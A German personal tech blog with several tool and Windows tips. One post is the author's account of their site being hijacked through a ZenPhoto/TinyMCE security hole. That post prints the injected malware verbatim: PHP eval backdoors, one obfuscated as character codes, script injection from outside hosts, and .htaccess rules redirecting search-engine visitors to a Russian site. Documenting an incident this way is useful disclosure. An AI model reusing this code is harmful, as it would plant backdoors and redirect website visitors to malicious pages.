Screenpresso

Ein Kollege hat mir den Tipp für ein prima Screenshot-Tool gegeben. Ich bin ja ein großer Freund von Snagit, aber ich fürchte ich werde auf Screenpresso umsteigen.

Auf der Webseite http://www.screenpresso.com/ gibt es eine Videotour. Besonders schick finde ich die automatisch hochzählenden Zahlen, die man via Screenshot-Editor in die Bilder setzen kann. So hat man im Handumdrehen die richtige Klick-Reihenfolge für den Screenshot erklärt.

Die kostenlose Version bettet z.B. in Dropbox-Uploads Wasserzeichen ein, für normale Screenshots ist das aber quasi eine Vollversion. Und das Beste: man kann es wahlweise auch ohne Installieren ausführen.

harmes.de wurde gekapert

Ich habe heute festgestellt, dass die Seite am 09.11.2011 über eine Sicherheitslücke in der TinyMCE-Extension in der ZenPhoto-Gallery gekapert worden ist: http://www.zenphoto.org/news/alert-security-hole-in-zenphoto-1.4.1.4

Das ist auch der Grund, warum harmes.de vorerst im neuen Gewand auftritt. Bis auf die Bilder habe ich sämtliche Dateien gelöscht und WordPress komplett neu hochgeladen. Die Datenbank wurde von dem Hack nicht betroffen.

Auswirkung des Hacks: je nachdem von wo der Besucher gekommen ist, wurde man auf eine russische Seite weitergeleitet.

Im Folgenden habe ich alle gefundenen Änderungen aufgeführt. Einige Dateien auf meinem Webserver waren mit einem geänderten Zeitstempel versehen, die .htaccess-Dateien hatten jedoch augenscheinlich einen alten Zeitstempel. Dieses wurde von mir auch als letztes entdeckt: die Änderungen waren ziemlich banal sehr weit rechts durch Leerzeichen vor meinen Augen “geschützt”.

Durch die Lücke wurden fast alle .php-Dateien mit einer dynamischen Nachlade-Funktion ausgestattet:

$sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = “lb11″; if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = “102″; if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo “<script>document.cookie=’”.$sessdt_k.”=”.$sessdt_f.”‘;</script>”; } } else { if($_COOKIE[$sessdt_k]==”102″) { $sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo “<script>document.cookie=’”.$sessdt_k.”=”.$sessdt_f.”‘;</script>”; } $sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = “http://turnitupnow.net/?rnd=”.$sessdt_f.substr($sessdt_v,-200); echo “<script src=’$sessdt_u’></script>”; echo “<meta http-equiv=’refresh’ content=’0;url=http://$sessdt_j’><!–”; } } $sessdt_p = “showimg”; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} }

 

Außerdem wurden in den Hauptverzeichnissen Dateien á la “tmp_2981577430561915.php” angelegt:

                                                                                                      $vf=substr(1,1);foreach(array(10,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,

110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,

115,116,121,108,101,46,100,105,115,112,108,97,121,61,39,39,59,100,111,

99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,

73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,105,110,110,101,

114,72,84,77,76,61,39,39,59,10,10,13,9,92,39,0,112,49,60,115,99,114,105,112,

116,32,115,114,99,61,104,116,116,112,58,47,47,102,97,99,101,116,111,102,97,

99,101,46,100,101,47,101,120,116,47,62,60,47,115,99,114,105,112,116,62,116,

114,117,101,99,115,115) as $vj[0]){$vf.=chr($vj[0]);}$vj[0]=substr($vf,0,1);$vj[1]=substr($vf,1,102);$vj[2]=substr($vf,103,3);$vj[3]=substr($vf,106,6);$vj[4]=substr($vf,112,2);$vj[5]=substr($vf,114,-7);$vj[6]=substr($vf,-7); if(isset($_GET[$vj[6]])){$vj[7]=0;if(isset($_POST[chr(97)])){$vj[7]=$_POST[chr(97)];}$vj[8]=chr(97).chr(106).chr(97).chr(120);$vj[9]=0;if(isset($_POST[$vj[8]])){$vj[9]=$_POST[$vj[8]];}if($vj[7]==substr($vj[1],79,3)&&strlen($vj[9])==4){@ob_start();@eval($_POST[$vj[4]]);$vj[6]=$vj[1].addcslashes(htmlspecialchars(@ob_get_clean()),$vj[3]).$vj[2];echo strlen($vj[6]).$vj[0].$vj[6];}else{$vj[0]=chr(116).chr(120);if(!isset($_POST[$vj[0]])){echo $vj[5];}else{@eval(urldecode($_POST[$vj[0]]));}}exit;}unset($vf);unset($vj);?>

 

Und sämtliche .htaccess-Dateien wurden angepasst:

ErrorDocument 400 http://conditer-asybasy.ru/soni/index.php
ErrorDocument 401 http://conditer-asybasy.ru/soni/index.php
ErrorDocument 403 http://conditer-asybasy.ru/soni/index.php
ErrorDocument 404 http://conditer-asybasy.ru/soni/index.php
ErrorDocument 500 http://conditer-asybasy.ru/soni/index.php

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]
RewriteCond %{HTTP_REFERER} .*qq.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]
RewriteCond %{HTTP_REFERER} .*facebook.* [OR]
RewriteCond %{HTTP_REFERER} .*twitter.* [OR]
RewriteCond %{HTTP_REFERER} .*blog.* [OR]
RewriteCond %{HTTP_REFERER} .*live.* [OR]
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]
RewriteCond %{HTTP_REFERER} .*mail.* [OR]
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
RewriteCond %{HTTP_REFERER} .*ya.* [OR]
RewriteCond %{HTTP_REFERER} .*aport.* [OR]
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ http://conditer-asybasy.ru/soni/index.php [R=301,L]

Opera Extension ImgTip zeigt verlinkte Bilder als Tooltip

Der Funktionsumfang von Opera ist ja schon recht umfangreich, daher habe ich bisher keine Extensions genutzt. Die Extension ImgTip ist aber doch einen Blick wert. Durch die Erweiterung kann man bei vielen unterstützten Seiten mit der Maus über Bilder fahren, und die verlinkte Großansicht wird dann direkt eingeblendet.

Beispiel für ein Image-Tooltip

Funktioniert übrigens auch auf Facebook. Sehr praktisch.

Windows 7 Troubleshooting mit dem Zuverlässigkeitsverlauf

Unter Windows 7 kann man mit dem Bordwerkzeug “Zuverlässigkeitsverlauf anzeigen” schnell und einfach Problemen auf die Spur kommen. Dort werden zum Beispiel die letzten Veränderungen inkl. Windowsupdates am Betriebssystem angezeigt oder ob es schwere Softwareausnahmen gegeben hat.

Zuverlässigkeitsverlauf unter Windows 7

Wenn man dann mal wieder einen instabilen Rechner untersuchen muss, ermöglicht die Übersicht eine bessere Eingrenzung und die Beantwortung der Frage “Seit wann besteht das Problem?”. Der Aufruf erfolgt übrigens einfach über das Startmenü und der Eingabe “Zuverlässigkeit”.

Einfach Dateien finden und aufrufen mit Launchy

Das Open Source Programm Launchy ist klein und unscheinbar – aber sehr praktisch. Mit ALT-Leertaste ruft man ein kleines Eingabefeld auf, in das man einen Teil eines Dateinamens eingeben kann. ENTER ruft die Datei auf (praktisch z.B. für Musiktitel). Mit einem TAB kann man dann noch zusätzliche Aufgabe auswählen, z.B. den übergeordneten Ordner öffnen. Das Programm durchsucht dabei vorher ausgewählte Ordner, z.B. Eigene Dateien oder ganz simpel das Startmenü.

Ursache für BlueScreens ermitteln

Manchmal nervt sogar ein frisch installiertes Windows, z.B. in dem es regelmäßig mit einem Blue Screen of Death (BSOD) auf die Bretter geht. Und nach IRQ_NOT_LESS_OR_EQUAL zu suchen führt nicht wirklich zu einer Lösung. In solch einem Fall hilft es manchmal nur, sich das von Windows automatisch erstellte “Kleine Speicherabbild” aus dem Verzeichnis %SystemRoot%\Minidump auf einen funktionierenden Rechner zu kopieren. Diese .dmp-Dateien können mit dem Programm windbg aus den Debugging Tools for Windows geöffnet und analysiert werden.

Vor der Nutzung sollten die Symbol-Pfad-Einstellungen gemacht werden (Ctrl+S). Zum Beispiel “srv *D:\Temp\Debugging\Symbols *http://msdl.microsoft.com/download/symbols”. Danach über File-Open Crash Dump (Ctrl+D) die .dmp-Datei öffnen.

Nach dem Öffnen wird sofort ein Resultat angezeigt. Mit dem Befehl “!analyze -v” kann man sich wahlweise auch noch den Stack zum Zeitpunkt des Fehlers anzeigen lassen. Gegebenenfalls muss man dann alle im Stack angezeigten Systemmodule im Internet suchen, bis man den Namen einer installierten Software oder Hardware ermittelt hat.

Die Meldung “Probably caused by : w22n51.sys ( w22n51+69222 )” war hier aber schon des Rätsels Lösung. Eine kurze Suche nach w22n51.sys brachte sehr viele Hinweise auf ein Treiberproblem der integrierten 2200BG WLAN-Karte von Intel. Nach einem Update des Treibers waren auch die BlueScreens verschwunden.

DNS optimieren mit namebench

Das Opensource Projekt namebench bietet eine bequeme Möglichkeit einen Benchmark auf öffentliche DNS-Server zu machen. Das Ergebnis ergibt dann den potentiell schnellsten DNS-Server für den eigenen Internetanschluss. Ich habe das jetzt mal ausprobiert und der Geschwindigkeitsgewinn ist beeindruckend. Natürlich ist das auch eine Sache des Vertrauens, aber das ist gegenüber meinem Internetprovider auch nicht höher als gegenüber irgendwelchen Free-DNS-Servern. Zumindest sollte man sich über eine Whois-Abfrage davon überzeugen, dass die IP in Deutschland gemeldet ist.

namebench DNS Benchmark Ergebnis

Bequem Umlaute mit dem iPad schreiben

Schon seit geraumer Zeit nervt mich beim Tippen auf dem iPad der Umgang mit Umlauten. Immer muss man lange aufs o drücken, damit mir 9 verschiedene Varianten angeboten werden – von denen ich immer nur eine haben will: ö. Gestern habe ich zufällig herausgefunden: es geht auch einfacher. Und zwar einfach einen Strich nach oben auf dem jeweiligen Buchstaben machen – et voilà: es göht!

iPad Schreiben von Umlauten

Windows XP Mode für 32-Bit-Spiele

Defekte Alt-Hardware lässt sich ja mittlerweile für relativ wenig Geld gegen etwas Neues austauschen. Aber wehe, wenn man von einem alten 32-Bit Windows auf 64-Bit umsteigt, und die alten Softwareschätzchen á la Tetris und Skat funktionieren nicht mehr.

Freundlicherweise hat sich Microsoft den Professional-Varianten ihrer 64-Bit Betriebssystemlinie den Virtual PC Windows XP Mode spendiert. Es Lebensretter für den einfachen Administrator von nebenan, aber auch nicht ohne Tücken.

Fehler Nr. 1: “Die Datei wird möglicherweise bereits von einem anderen Prozess verwendet, oder Sie verfügen nicht über ausreichende Zugriffsberechtigungen.”

Ursache: Wenn man den neuen Rechner per Remote Desktop konfiguriert, kann der XP Mode anscheinend nicht auf lokale DVD-Laufwerke zugreifen. Eine andere Lösung als ein Keyboard und einen Monitor anschließen habe ich leider noch nicht gefunden. ;-)

Fehler Nr.2: Titel: “Die virtuelle Anwendung kann nicht gestartet werden.” Meldung: “Die Anwendung wurde für die Ausführung als virtuelle Anwendung gesperrt.”

Ursache: Anscheinend entfernt Virtual PC für das Integrationsfeature freigegebene Anwendungen, wenn sie beim Starten der Applikationen einen Fehler erzeugen. Die Verknüpfung auf dem Desktop bleibt jedoch bestehen. Ich habe im Internet einige Hinweise auf einen Registry-Key “VPCVAppExcludeList” gefunden, den habe ich allerdings auf dem hier verwendeten Windows 7 Professional x64 nicht finden können.

In der Registry gibt es allerdings unter HKEY_CURRENT_USER\Software\Microsoft\Virtual PC\VPCVApps\Windows XP Mode für jede aus dem XP Mode bereitgestellte Applikation einen Eintrag mit einer Art eindeutigen ID. Wenn in der Verknüpfung eine ID verwendet wird, die nicht (mehr) in der Registry vorhanden ist, wirft Virtual PC die oben genannte Fehlermeldung. Die Einträge im Start-Menü unter “Windows XP Mode” enthalten dann die aktuellen Verknüpfungen auf die Applikationen innerhalb der Windows XP VM. Die Verknüpfung vom Desktop sollte gelöscht/neu-angelegt werden.